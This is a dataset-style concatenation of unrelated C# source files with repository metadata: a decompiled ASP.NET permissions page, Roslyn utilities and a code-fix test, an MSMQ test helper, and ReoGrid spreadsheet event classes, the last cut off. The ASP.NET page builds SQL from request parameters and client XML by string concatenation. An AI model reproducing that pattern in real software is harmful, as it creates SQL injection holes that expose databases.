str = dataRow["deptwbs"].ToString();
string str2 = (dataRow["Limit"].ToString() == "" ? "0000000000" : dataRow["Limit"].ToString());
StringBuilder stringBuilder0 = this.stringBuilder_0;
string[] strArrays = new string[] { "<tn id=\"", str, "\" bizId=\"", str1, "\" limit=\"", str2, "\" EditFlag=\"0\" >" };
stringBuilder0.Append(string.Concat(strArrays));
this.GetModelXML(str);
this.stringBuilder_0.Append("</tn>");
}
}
private DataTable method_0(string string_1)
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat("SELECT _AutoID DeptId, DeptName, DeptWBS ,DeptPWBS ,(OrderId+100) OrderId,'' funid,'' Limit FROM T_E_Org_Department where _IsDel=0\r\n union select r.EmployeeID, r.EmployeeName+'('+r.PositionName+')', r.EmployeeID ,d.DeptWBS ,d.OrderId,m.funid,m.Limit \r\n FROM T_E_Org_DeptEmployee AS r inner join T_E_Org_Department d on r.DeptID=d._AutoID\r\n LEFT OUTER JOIN T_E_Org_ExcludeLimit AS m \r\n ON r.EmployeeID = m.EmployeeID \r\n and m.FunID = '{0}' where r.DeptEmployeeType=0", string_1);
return SysDatabase.ExecuteTable(stringBuilder.ToString());
}
protected void Page_Load(object sender, EventArgs e)
{
AjaxPro.Utility.RegisterTypeForAjax(typeof(FunLimitExclude));
DepartmentService.GetTopDept();
_Department __Department = new _Department();
this.funId = base.GetParaValue("funId");
this.dataTable_0 = this.method_0(this.funId);
this.strTreeHtml = this.GetListTree("0", "0");
this.strLimitData = string.Concat("<root>", this.strLimitData, "</root>");
this.strJsonData = this.stringBuilder_1.ToString();
}
[AjaxMethod] // JustDecompile was unable to locate the assembly where attribute parameters types are defined. Generating parameters values is impossible.
public string SaveLimit(string funId, string limitxml)
{
this.dataTable_0 = this.method_0(funId);
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(limitxml);
string str = "";
try
{
string funWbsById = FunNodeService.GetFunWbsById(funId);
foreach (XmlNode xmlNodes in xmlDocument.SelectNodes("//tn[@EditFlag='1']"))
{
if (xmlNodes.Attributes.GetNamedItem("id").Value.Length != 36)
{
continue;
}
string value = xmlNodes.Attributes.GetNamedItem("limit").Value;
string value1 = xmlNodes.Attributes.GetNamedItem("bizId").Value;
DataTable dataTable0 = this.dataTable_0;
string[] strArrays = new string[] { "FunID='", funId, "' and DeptId='", value1, "'" };
if ((int)dataTable0.Select(string.Concat(strArrays)).Length != 0)
{
strArrays = new string[] { "update dbo.T_E_Org_ExcludeLimit set Limit ='", value, "',funwbs='", funWbsById, "' where funid='", funId, "' and employeeId='", value1, "'" };
str = string.Concat(strArrays);
}
else if (value == "0000000000")
{
str = "";
}
else
{
object[] objArray = new object[] { Guid.NewGuid(), base.EmployeeID, base.OrgCode, DateTime.Now, DateTime.Now, 0, funId, value1, value, funWbsById };
str = string.Format("insert into dbo.T_E_Org_ExcludeLimit\r\n (_AutoID,_UserName,_OrgCode,_CreateTime,_UpdateTime,_IsDel,FunID,employeeId,Limit,FunWBS) \r\n values('{0}','{1}','{2}','{3}','{4}',{5},'{6}','{7}','{8}','{9}')", objArray);
}
if (str == "")
{
continue;
}
SysDatabase.ExecuteNonQuery(str);
}
}
catch (Exception exception)
{
throw exception;
}
this.dataTable_0 = this.method_0(funId);
this.GetModelXML("0");
return string.Concat("<root>", this.stringBuilder_0.ToString(), "</root>");
}
}
}
| 42.616034 | 599 | 0.623069 |
[
"MIT"
] |
chen1993nian/CPMPlatform
|
PM/Doc/Limit/FunLimitExclude.aspx.cs
| 10,106 |
C#
|
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
#nullable enable
using System;
using System.Diagnostics;
namespace Roslyn.Utilities
{
internal static class ExceptionUtilities
{
/// <summary>
/// Creates an <see cref="InvalidOperationException"/> with information about an unexpected value.
/// </summary>
/// <param name="o">The unexpected value.</param>
/// <returns>The <see cref="InvalidOperationException"/>, which should be thrown by the caller.</returns>
internal static Exception UnexpectedValue(object? o)
{
string output = string.Format("Unexpected value '{0}' of type '{1}'", o, (o != null) ? o.GetType().FullName : "<unknown>");
Debug.Assert(false, output);
// We do not throw from here because we don't want all Watson reports to be bucketed to this call.
return new InvalidOperationException(output);
}
internal static Exception Unreachable
{
get { return new InvalidOperationException("This program location is thought to be unreachable."); }
}
}
}
| 38.8125 | 161 | 0.650564 |
[
"Apache-2.0"
] |
20chan/roslyn
|
src/Compilers/Core/Portable/InternalUtilities/ExceptionUtilities.cs
| 1,244 |
C#
|
// Copyright 2020 New Relic, Inc. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
using System;
using System.Linq;
using System.Messaging;
namespace DotNet_Msmq_Shared
{
public static class MessageQueueUtil
{
/// <summary>
/// Creates a instance of an MSMQ queue - this can only be done for local queues not distributed
/// If the queue already exists, purge it.
/// </summary>
/// <param name="queueName"></param>
/// <param name="isTransactional"></param>
public static void CreateEmptyQueue(string queueName, bool isTransactional = false)
{
//We create the queue name here because this operation is only allowed on the current host and not remote ones.
var privateQueueName = "private$\\" + queueName;
MessageQueue queueToCreate =
MessageQueue.GetPrivateQueuesByMachine(Environment.MachineName)
.SingleOrDefault(x => x.QueueName.EndsWith(queueName.ToLower()));
if (queueToCreate == null)
{
var localQueue = MessageQueue.Create(".\\" + privateQueueName, isTransactional);
localQueue.SetPermissions("Everyone", MessageQueueAccessRights.FullControl, AccessControlEntryType.Allow);
}
else
{
queueToCreate.Purge();
}
}
}
}
| 35.35 | 123 | 0.61669 |
[
"Apache-2.0"
] |
nr-ahemsath/newrelic-dotnet-agent
|
tests/Agent/IntegrationTests/IntegrationTestHelpers/MessageQueueUtil.cs
| 1,414 |
C#
|
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace DesktopMascot.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}
| 34.451613 | 151 | 0.582397 |
[
"Apache-2.0"
] |
kapuusagi/SimpleDesktopMascot
|
DesktopMascot/DesktopMascot/Properties/Settings.Designer.cs
| 1,070 |
C#
|
using AnalyzerProject;
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CodeActions;
using Microsoft.CodeAnalysis.CodeFixes;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace TestProject
{
[TestClass]
public class CodeFixProviderTests
{
[TestMethod]
public async Task CreatingAnImmutableArrayViaTheEmptyPropertyWithoutOpeningTheImmutableNamespace_CodeFixMakesTheCodeUseTheCreateMethod()
{
var code = @"
public static class Program
{
public static void Main()
{
var array = System.Collections.Immutable.ImmutableArray<int>.Empty.Add(1);
}
}";
var expectedChangedCode = @"
public static class Program
{
public static void Main()
{
var array = System.Collections.Immutable.ImmutableArray.Create(1);
}
}";
var (diagnostics, document, workspace) = await Utilities.GetDiagnosticsAdvanced(code);
Assert.AreEqual(1, diagnostics.Length);
var diagnostic = diagnostics[0];
var codeFixProvider = new CreationCodeFixProvider();
CodeAction registeredCodeAction = null;
var context = new CodeFixContext(document, diagnostic, (codeAction, _) =>
{
if (registeredCodeAction != null)
throw new Exception("Code action was registered more than once");
registeredCodeAction = codeAction;
}, CancellationToken.None);
await codeFixProvider.RegisterCodeFixesAsync(context);
if (registeredCodeAction == null)
throw new Exception("Code action was not registered");
var operations = await registeredCodeAction.GetOperationsAsync(CancellationToken.None);
foreach(var operation in operations)
{
operation.Apply(workspace, CancellationToken.None);
}
var updatedDocument = workspace.CurrentSolution.GetDocument(document.Id);
var newCode = (await updatedDocument.GetTextAsync()).ToString();
Assert.AreEqual(expectedChangedCode, newCode);
}
}
}
| 28.753086 | 144 | 0.668527 |
[
"MIT"
] |
ymassad/RoslynExamples
|
Creating a CodeFix/TestProject/CodeFixProviderTests.cs
| 2,331 |
C#
|
/*****************************************************************************
*
* ReoGrid - .NET Spreadsheet Control
*
* https://reogrid.net/
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
* KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR
* PURPOSE.
*
* ReoGrid is open source software released under MIT license.
*
* Copyright (c) 2012-2021 Jing Lu <jingwood at unvell.com>
* Copyright (c) 2012-2016 unvell.com, all rights reserved.
*
****************************************************************************/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
#if WINFORM || ANDROID
using RGFloat = System.Single;
#elif WPF
using RGFloat = System.Double;
#elif iOS
using RGFloat = System.Double;
#endif // WPF
#if WINFORM
using RGKeys = System.Windows.Forms.Keys;
#endif // WINFORM
using unvell.Common;
using unvell.ReoGrid.DataFormat;
using unvell.ReoGrid.Views;
using unvell.ReoGrid.Graphics;
using unvell.ReoGrid.Rendering;
using unvell.ReoGrid.Interaction;
using unvell.ReoGrid.Main;
namespace unvell.ReoGrid.Events
{
#region Workbook Arguments
/// <summary>
/// Common worksheet event arguments
/// </summary>
public class WorksheetEventArgs : EventArgs
{
/// <summary>
/// Instance of worksheet
/// </summary>
public Worksheet Worksheet { get; set; }
/// <summary>
/// Create common worksheet event arguments with specified instance of worksheet
/// </summary>
/// <param name="sheet">instance of worksheet related to the event</param>
public WorksheetEventArgs(Worksheet sheet)
{
this.Worksheet = sheet;
}
}
#region Actions
/// <summary>
/// Arguments of event which will be fired when action is performed by worksheet
/// </summary>
public class WorkbookActionEventArgs : EventArgs
{
/// <summary>
/// Action is performed
/// </summary>
public IAction Action { get; private set; }
/// <summary>
/// Create this event argument with specified action
/// </summary>
/// <param name="action">instance of action</param>
public WorkbookActionEventArgs(IAction action)
{
this.Action = action;
}
}
/// <summary>
/// Event argument for before action perform
/// </summary>
public class BeforeActionPerformEventArgs : WorkbookActionEventArgs
{
/// <summary>
/// Determine whehter to abort perform current action
/// </summary>
public bool IsCancelled { get; set; }
/// <summary>
/// Create event argument with specified action
/// </summary>
/// <param name="action">Action to be performed</param>
public BeforeActionPerformEventArgs(IAction action) : base(action)
{
}
}
#endregion // Actions
#region Worksheet Managements
/// <summary>
/// Worksheet creating event argument
/// </summary>
public class WorksheetCreatedEventArgs : WorksheetEventArgs
{
/// <summary>
/// Create this event argument with specified instance of worksheet
/// </summary>
/// <param name="sheet">instance of worksheet</param>
public WorksheetCreatedEventArgs(Worksheet sheet)
: base(sheet)
{
}
}
/// <summary>
/// Worksheet inserting event argument
/// </summary>
public class WorksheetInsertedEventArgs : WorksheetEventArgs
{
/// <summary>
/// Zero-based number of sheet is inserted
/// </summary>
public int Index { get; set; }
/// <summary>
/// Create this event argument with specified worksheet
/// </summary>
/// <param name="sheet">instance of worksheet</param>
public WorksheetInsertedEventArgs(Worksheet sheet)
: base(sheet)
{
}
}
/// <summary>
/// Worksheet removing event argument
/// </summary>
public class WorksheetRemovedEventArgs : WorksheetEventArgs
{
/// <summary>
/// Index of worksheet in workbook before removing
/// </summary>
public int Index { get; set; }
/// <summary>
/// Create this event argument with specified worksheet
/// </summary>
/// <param name="sheet">instance of worksheet</param>
public WorksheetRemovedEventArgs(Worksheet sheet)
: base(sheet)
{
}
}
/// <summary>
/// Worksheet's name changing event argument
/// </summary>
public class WorksheetNameChangingEventArgs : WorksheetEventArgs
{
/// <summary>
/// Get or set the new name used to instead of the old name of worksheet
/// </summary>
public string NewName { get; set; }
/// <summary>
/// Create this event argument with specified worksheet
/// </summary>
/// <param name="sheet">instance of worksheet</param>
/// <param name="name">new name of worksheet</param>
public WorksheetNameChangingEventArgs(Worksheet sheet, string name)
: base(sheet)
{
this.NewName = name;
}
}
/// <summary>
/// Worksheet changing event argument
/// </summary>
public class CurrentWorksheetChangedEventArgs : WorksheetEventArgs
{
/// <summary>
/// Zero-based number of sheet has changed
/// </summary>
public int Index { get; set; }
/// <summary>
/// Create this event argument with specified worksheet
/// </summary>
/// <param name="sheet">instance of worksheet</param>
public CurrentWorksheetChangedEventArgs(Worksheet sheet)
: base(sheet)
{
}
}
/// <summary>
/// Represents an event argument class for worksheet scrolling.
/// </summary>
public class WorksheetScrolledEventArgs : WorksheetEventArgs
{
/// <summary>
/// Scrolled horizontal value.
/// </summary>
public RGFloat X { get; internal set; }
/// <summary>
/// Scrolled vertical value.
/// </summary>
public RGFloat Y { get; internal set; }
/// <summary>
/// Create the instance of this event argument.
/// </summary>
/// <param name="worksheet">The worksheet where event happened.</param>
public WorksheetScrolledEventArgs(Worksheet worksheet)
: base(worksheet)
{
}
}
#endregion // Worksheet Managements
#endregion // Workbook Arguments
#region Worksheet Arguments
#region Cell Operations
/// <summary>
/// Position event argument on spreadsheet
/// </summary>
public class CellPosEventArgs : EventArgs
{
/// <summary>
/// Zero-based two-dimensional coordinates to locate a cell on spreadsheet
/// </summary>
public CellPosition Position { get; set; }
/// <summary>
/// Construc this position event argument with specfieid position
/// </summary>
/// <param name="pos">zero-based two-dimensional coordinates on spreadsheet</param>
public CellPosEventArgs(CellPosition pos)
{
this.Position = pos;
}
}
/// <summary>
/// Event raised on action was performed for any cells
/// </summary>
public class CellEventArgs : EventArgs
{
/// <summary>
/// Get instance of current editing cell. This property may be null.
/// </summary>
public Cell Cell { get; protected set; }
/// <summary>
/// Create instance for CellEventArgs with specified cell.
/// </summary>
/// <param name="cell">Instance of current editing cell.</param>
public CellEventArgs(Cell cell)
{
this.Cell = cell;
}
}
#endregion // Cell Operations
#region Mouse
/// <summary>
/// ReoGrid common mouse event argument
/// </summary>
public class WorksheetMouseEventArgs : EventArgs
{
/// <summary>
/// Worksheet instance
/// </summary>
public Worksheet Worksheet { get; private set; }
/// <summary>
/// Pressed mouse buttons
/// </summary>
public MouseButtons Buttons { get; set; }
/// <summary>
/// Event source associated mouse position
/// </summary>
public Point RelativePosition { get; set; }
/// <summary>
/// Event source unassociated mouse position (Position to control)
/// </summary>
public Point AbsolutePosition { get; set; }
/// <summary>
/// Number of clicks
/// </summary>
public int Clicks { get; private set; }
/// <summary>
/// Delta value (only used in mouse wheel event)
/// </summary>
public int Delta { get; set; }
/// <summary>
/// Get or set whether to capture mouse from current event
/// </summary>
public bool Capture { get; set; }
/// <summary>
/// Get or set the cursor style during mouse over
/// </summary>
public CursorStyle CursorStyle { get; set; }
/// <summary>
/// Construct mouse event argument with specified parameters
/// </summary>
/// <param name="worksheet">worksheet instance</param>
/// <param name="relativePosition">mouse relative position to current event owner</param>
/// <param name="absolutePosition">mouse absolute position to spreadsheet control</param>
/// <param name="buttons">pressed button flags</param>
/// <param name="clicks">number of clicks</param>
public WorksheetMouseEventArgs(Worksheet worksheet, Point relativePosition, Point absolutePosition,
MouseButtons buttons, int clicks)
{
this.Worksheet = worksheet;
this.Buttons = buttons;
this.Clicks = clicks;
this.RelativePosition = relativePosition;
this.AbsolutePosition = absolutePosition;
}
}
/// <summary>
/// ReoGrid cell mouse event argument
/// </summary>
public class CellMouseEventArgs : WorksheetMouseEventArgs
{
/// <summary>
/// Event source instance of cell. Note: this property may be null if cell has no data and style attached.
/// Check this property and create cell instance by CellPosition property.
/// </summary>
public Cell Cell { get; set; }
/// <summary>
/// Zero-based cell position
/// </summary>
public CellPosition CellPosition { get; set; }
/// <summary>
/// Create cell mouse event argument with specified parameters
/// </summary>
/// <param name="worksheet">worksheet instance</param>
/// <param name="cellPosition">cell position</param>
public CellMouseEventArgs(Worksheet worksheet, CellPosition cellPosition)
: this(worksheet, null, cellPosition, new Point(0, 0), new Point(0, 0), MouseButtons.None, 0)
{
}
/// <summary>
/// Create cell mouse event argument with specified parameters
/// </summary>
/// <param name="worksheet">worksheet instance</param>
/// <param name="cellPosition">cell position</param>
/// <param name="relativePosition">relative mouse position (position in cell)</param>
/// <param name="absolutePosition">absolute mouse position (position in spreadsheet)</param>
/// <param name="buttons">pressed buttons</param>
/// <param name="clicks">number of clicks</param>
public CellMouseEventArgs(Worksheet worksheet, CellPosition cellPosition, Point relativePosition,
Point absolutePosition, MouseButtons buttons, int clicks)
: this(worksheet, null, cellPosition, relativePosition, absolutePosition, buttons, clicks)
{
}
/// <summary>
/// Create cell mouse event argument with specified parameters
/// </summary>
/// <param name="worksheet">worksheet instance</param>
/// <param name="cell">cell instance</param>
public CellMouseEventArgs(Worksheet worksheet, Cell cell)
: this(worksheet, cell, cell.InternalPos, new Point(0, 0), new Point(0, 0), MouseButtons.None, 0)
{
}
/// <summary>
/// Create cell mouse event argument with specified parameters
/// </summary>
/// <param name="worksheet">worksheet instance</param>
/// <param name="cell">cell instance</param>
/// <param name="relativePosition">relative mouse position (position in cell)</param>
/// <param name="absolutePosition">absolute mouse position (position in spreadsheet)</param>
/// <param name="buttons">pressed buttons</param>
/// <param name="clicks">number of clicks</param>
public CellMouseEventArgs(Worksheet worksheet, Cell cell, Point relativePosition,
Point absolutePosition, MouseButtons buttons, int clicks)
: this(worksheet, cell, cell == null ? CellPosition.Empty : cell.InternalPos,
relativePosition, absolutePosition, buttons, clicks)
{
}
/// <summary>
/// Create cell mouse event argument with specified parameters
/// </summary>
/// <param name="worksheet">worksheet instance</param>
/// <param name="cell">cell instance</param>
/// <param name="cellPosition">cell position</param>
/// <param name="relativePosition">relative mouse position (position in cell)</param>
/// <param name="absolutePosition">absolute mouse position (position in spreadsheet)</param>
/// <param name="buttons">pressed buttons</param>
/// <param name="clicks">number of clicks</param>
public CellMouseEventArgs(Worksheet worksheet, Cell cell, CellPosition cellPosition,
Point relativePosition, Point absolutePosition, MouseButtons buttons, int clicks)
: base(worksheet, relativePosition, absolutePosition, buttons, clicks)
{
this.Cell = cell;
this.CellPosition = cellPosition;
}
}
#endregion // Mouse
#region Keyborad
/// <summary>
/// Common key event argument
/// </summary>
public class WorksheetKeyEventArgs : EventArgs
{
public KeyCode KeyCode { get; set; }
}
/// <summary>
/// Common key event argument for cells
/// </summary>
public class CellKeyDownEventArgs : WorksheetKeyEventArgs
{
/// <summary>
/// Cell of event source
/// </summary>
public Cell Cell { get; set; }
/// <summary>
/// Position of cell of event source
/// </summary>
public CellPosition CellPosition { get; set; }
}
/// <summary>
/// Event raised when user presses any key inside spreadsheet before built-in operations
/// </summary>
public class BeforeCellKeyDownEventArgs : CellKeyDownEventArgs
{
/// <summary>
/// Determines whether or not should to cancel the following operations of this event.
/// </summary>
public bool IsCancelled { get; set; }
}
/// <summary>
/// Event raised when user presses any key inside spreadsheet after built-in operations
/// </summary>
public class AfterCellKeyDownEventArgs : CellKeyDownEventArgs
{
}
#endregion // Keyborad
#region Editing
/// <summary>
/// Event raised after cell editing. Set 'NewData' property to a
/// new value to change the data instead of edited value.
/// </summary>
public class CellAfterEditEventArgs : CellEventArgs
{
/// <summary>
/// Set the data to new value instead of edited value.
/// </summary>
public object NewData { get; set; }
/// <summary>
/// Reason of edit operation ending. Set this property to restore
/// the data to the value of before editing.
/// </summary>
public EndEditReason EndReason { get; set; }
/// <summary>
/// When new data has been inputed, ReoGrid choose one formatter to
/// try to format the data. Set this property to force change the
/// formatter for the new data.
/// </summary>
public CellDataFormatFlag? DataFormat { get; set; }
/// <summary>
/// Create instance for CellAfterEditEventArgs
/// </summary>
/// <param name="cell">Cell edited by user</param>
public CellAfterEditEventArgs(Cell cell) : base(cell) { }
}
/// <summary>
/// Event raised before cell enter edit mode. Set 'IsCancelled' property force to stop default edit operation.
/// </summary>
public class CellBeforeEditEventArgs : CellEventArgs
{
/// <summary>
/// Edit operation whether should be aborted.
/// </summary>
public bool IsCancelled { get; set; }
/// <summary>
/// Text will display in the input field, this text could be changed.
/// </summary>
public string EditText { get; set; }
/// <summary>
/// Create instance for CellBeforeEditEventArgs with specified cell.
/// </summary>
/// <param name="cell">Instance of cell will be edited by user.</param>
public CellBeforeEditEventArgs(Cell cell) : base(cell) { }
}
/// <summary>
/// Cell edit text.
/// </summary>
public class CellEditTextChangingEventArgs : CellEventArgs
{
/// <summary>
/// Get or set the inputting text. Set new text to replace the text of user inputted.
/// </summary>
public string Text { get; set; }
/// <summary>
/// Create event argument with specified cell.
/// </summary>
/// <param name="cell">instance of cell</param>
public CellEditTextChangingEventArgs(Cell cell)
: base(cell)
{
}
}
/// <summary>
/// Event raised when unicode char was inputted during cell editing,
/// replace the <code>InputChar</code> property to alter the input character.
/// </summary>
public class CellEditCharInputEventArgs : CellEventArgs
{
/// <summary>
/// Get or set the input character.
/// </summary>
public int InputChar { get; set; }
/// <summary>
/// Get position of current editing text.
/// </summary>
public int CaretPositionInLine { get; private set; }
/// <summary>
/// Get line index of current editing text.
/// </summary>
public int LineIndex { get; private set; }
/// <summary>
/// Get current edit text inputted by user.
/// </summary>
public string InputText { get; private set; }
internal CellEditCharInputEventArgs(Cell cell, string text, int @char, int caret, int line)
: base(cell)
{
this.InputText = text;
this.InputChar = @char;
this.CaretPositionInLine = caret;
this.LineIndex = line;
}
}
#endregion // Editing
#region Row Changes
/// <summary>
/// Base argument for events when worksheet row changed.
/// </summary>
public class WorksheetRowsEventArgs : EventArgs
{
/// <summary>
/// Zero-based row index number.
/// </summary>
public int Row { get; private set; }
/// <summary>
/// Number of rows changed.
/// </summary>
public int Count { get; private set; }
/// <summary>
/// Create instance for RowEventArgs with specified row index number.
/// </summary>
/// <param name="row">Zero-based row index number.</param>
internal WorksheetRowsEventArgs(int row, int count = 1)
{
this.Row = row;
this.Count = count;
}
}
/// <summary>
/// Argument for event when row inserted into worksheet.
/// </summary>
public class RowsInsertedEventArgs : WorksheetRowsEventArgs
{
internal RowsInsertedEventArgs(int row, int count)
: base(row, count)
{
}
}
/// <summary>
/// Event raised when rows deleted from spreadsheet
/// </summary>
public class RowsDeletedEventArgs : WorksheetRowsEventArgs
{
/// <summary>
/// Create instance for RowEventArgs with specified row index number.
/// </summary>
/// <param name="row">zero-based number of row start to delete</param>
/// <param name="count">number of rows to be deleted</param>
internal RowsDeletedEventArgs(int row, int count)
: base(row, count)
{
}
}
/// <summary>
/// Argument for event that will be raised when columns width is changed.
/// </summary>
public class RowsHeightChangedEventArgs : WorksheetRowsEventArgs
{
/// <summary>
/// The new height that has been changed for rows.
/// </summary>
public int Height { get; private set; }
internal RowsHeightChangedEventArgs(int index, int count, int height)
: base(index, count)
{
this.Height = height;
}
}
#endregion // Row Changes
#region Column Changes
/// <summary>
/// Event raised when an action of column header was performed.
/// </summary>
public class WorksheetColumnsEventArgs : EventArgs
{
/// <summary>
/// Zero-based number to insert columns
/// </summary>
public int Index { get; private set; }
/// <summary>
/// Indicates that how many columns has been inserted or appended
/// </summary>
public int Count { get; private set; }
/// <summary>
/// Create instead for ColumnEventArgs with specified column header number.
/// </summary>
/// <param name="index">Column index number.</param>
/// <param name="count">Column count.</param>
public WorksheetColumnsEventArgs(int index, int count) { this.Index = index; this.Count = count; }
}
/// <summary>
/// Event raised when new column was inserted into a spreadsheet
/// </summary>
public class ColumnsInsertedEventArgs : WorksheetColumnsEventArgs
{
/// <summary>
/// Create column inserted event argument
/// </summary>
/// <param name="index">Zero-based number of column start to insert</param>
/// <param name="count">Number of columns to be inserted.</param>
public ColumnsInsertedEventArgs(int index, int count)
: base(index, count)
{
}
}
/// <summary>
/// Event raised when columns deleted from spreadsheet
/// </summary>
public class ColumnsDeletedEventArgs : WorksheetColumnsEventArgs
{
/// <summary>
/// Create column deleted event argument
/// </summary>
/// <param name="index">number of column start to delete</param>
/// <param name="count">number of columns to be deleted</param>
public ColumnsDeletedEventArgs(int index, int count)
: base(index, count)
{
}
}
/// <summary>
/// Argument for event that will be raised when columns width is changed.
/// </summary>
public class ColumnsWidthChangedEventArgs : WorksheetColumnsEventArgs
{
/// <summary>
/// The new width changed for columns.
/// </summary>
public int Width { get; private set; }
internal ColumnsWidthChangedEventArgs(int index, int count, int width)
: base(index, count)
{
this.Width = width;
}
}
#endregion // Column Changes
#region Border Changes
/// <summary>
/// Event raised on border added to a range.
/// </summary>
public class BorderAddedEventArgs : RangeEventArgs
{
/// <summary>
/// Position of border added.
/// </summary>
public BorderPositions Pos { get; set; }
/// <summary>
/// Style of border added.
/// </summary>
public RangeBorderStyle Style { get; set; }
/// <summary>
/// Create instance for BorderAddedEventArgs with specified range,
/// position of border and style of border.
/// </summary>
/// <param name="range"></param>
/// <param name="pos"></param>
/// <param name="style"></param>
public BorderAddedEventArgs(RangePosition range, BorderPositions pos, RangeBorderStyle style)
: base(range)
{
this.Pos = pos;
this.Style = style;
}
}
/// <summary>
/// Event raised on border removed from a range.
/// </summary>
public class BorderRemovedEventArgs : RangeEventArgs
{
/// <summary>
/// Position of border removed
/// </summary>
public BorderPositions Pos { get; set; }
/// <summary>
/// Create instance for BorderRemovedEventArgs with specified range and
/// position of border.
/// </summary>
/// <param name="range"></param>
/// <param name="pos"></param>
public BorderRemovedEventArgs(RangePosition range, BorderPositions pos)
: base(range)
{
this.Pos = pos;
}
}
#endregion // Border Changes
#region File IO
/// <summary>
/// Event raised on grid loaded from a stream.
/// </summary>
public class FileLoadedEventArgs : EventArgs
{
/// <summary>
/// Full path of file. Available only grid was loaded from a file stream.
/// </summary>
public string Filename { get; set; }
/// <summary>
/// Create instance for FileSavedEventArgs with specified file path.
/// </summary>
/// <param name="filename">Full path of file</param>
public FileLoadedEventArgs(string filename) { this.Filename = filename; }
}
/// <summary>
/// Event raised on grid saved to a stream.
/// </summary>
public class FileSavedEventArgs : EventArgs
{
/// <summary>
/// Full path of file. Available only grid be saved into a file stream.
/// </summary>
public string Filename { get; set; }
/// <summary>
/// Create instance for FileSavedEventArgs with specified file path.
/// </summary>
/// <param name="filename">Full path of file</param>
public FileSavedEventArgs(string filename) { this.Filename = filename; }
}
#endregion // File IO
#region Exception Notifications
/// <summary>
/// Event raised when any exceptions happen during built-in operations of worksheet.
/// Such as Range copy/cut/move via built-in hotkeys.
/// </summary>
public class ExceptionHappenEventArgs : WorksheetEventArgs
{
/// <summary>
/// Get or set the exception instance.
/// </summary>
public Exception Exception { get; set; }
/// <summary>
/// Create exception instance.
/// </summary>
/// <param name="sheet">Worksheet instance.</param>
/// <param name="exception">Exception instance.</param>
public ExceptionHappenEventArgs(Worksheet sheet, Exception exception)
: base(sheet)
{
this.Exception = exception;
}
}
#endregion // Exception Notifications
#region Selection
/// <summary>
/// Event raised when selection moved to next position.
/// ReoGrid automatically move selection to right cell or below cell according
/// to <code>SelectionForwardDirection</code> property of worksheet.
/// </summary>
public class SelectionMovedForwardEventArgs : EventArgs
{
/// <summary>
/// Decide whether to cancel current move operation.
/// </summary>
public bool IsCancelled { get; set; }
/// <summary>
/// Create instance of SelectionMovedForwardEventArgs with specified position.
/// </summary>
public SelectionMovedForwardEventArgs()
{
}
}
/// <summary>
/// Event raised when selection moved to previous position.
/// ReoGrid automatically move selection to left cell or above cell according
/// to <code>SelectionForwardDirection</code> property of worksheet.
/// </summary>
public class SelectionMovedBackwardEventArgs : EventArgs
{
/// <summary>
/// Decide whether to cancel current move operation.
/// </summary>
public bool IsCancelled { get; set; }
/// <summary>
/// Create instance of SelectionMovedBackwardEventArgs with specified position.
/// </summary>
public SelectionMovedBackwardEventArgs()
{
}
}
/// <summary>
/// Argument class for event of BeforeSelectionChange
/// </summary>
public class BeforeSelectionChangeEventArgs : EventArgs
{
private CellPosition selectionStart;
private CellPosition selectionEnd;
/// <summary>
/// Get or set selection start position
/// </summary>
public CellPosition SelectionStart { get { return this.selectionStart; } set { this.selectionStart = value; } }
/// <summary>
/// Get or set selection end position
/// </summary>
public CellPosition SelectionEnd { get { return this.selectionEnd; } set { this.selectionEnd = value; } }
/// <summary>
/// Get or set the start row of selection
/// </summary>
public int StartRow { get { return this.selectionStart.Row; } set { this.selectionStart.Row = value; } }
/// <summary>
/// Get or set this start column of selection
/// </summary>
public int StartCol { get { return this.selectionStart.Col; } set { this.selectionStart.Col = value; } }
/// <summary>
/// Get or set the end row of selection
/// </summary>
public int EndRow { get { return this.selectionEnd.Row; } set { this.selectionEnd.Row = value; } }
/// <summary>
/// Get or set the end column of selection
/// </summary>
public int EndCol { get { return this.selectionEnd.Col; } set { this.selectionEnd.Col = value; } }
public bool IsCancelled { get; set; }
/// <summary>
/// Create this argument by specified selection start and end position
/// </summary>
/// <param name="selectionStart">The start position of selection</param>
/// <param name="selectionEnd">The end position of selection</param>
public BeforeSelectionChangeEventArgs(CellPosition selectionStart, CellPosition selectionEnd)
{
this.SelectionStart = selectionStart;
this.SelectionEnd = selectionEnd;
}
}
#endregion // Selection
#region Range Operations
/// <summary>
/// Event raised on action was performed for range
/// </summary>
public class RangeEventArgs : EventArgs
{
/// <summary>
/// Range of action performed
/// </summary>
public RangePosition Range { get; set; }
/// <summary>
/// Create instance for RangeEventArgs with specified range.
/// </summary>
/// <param name="range">Range of action performed</param>
public RangeEventArgs(RangePosition range)
{
this.Range = range;
}
}
/// <summary>
/// Event raised when operation to be performed to range, this class has
/// the property 'IsCancelled' it used to notify grid control to abort
/// current operation.
/// </summary>
public class BeforeRangeOperationEventArgs : RangeEventArgs
{
/// <summary>
/// Get or set the flag that be used to notify the grid
/// whether to abort current operation
/// </summary>
public bool IsCancelled { get; set; }
/// <summary>
/// Create instance of this class with specified range position
/// </summary>
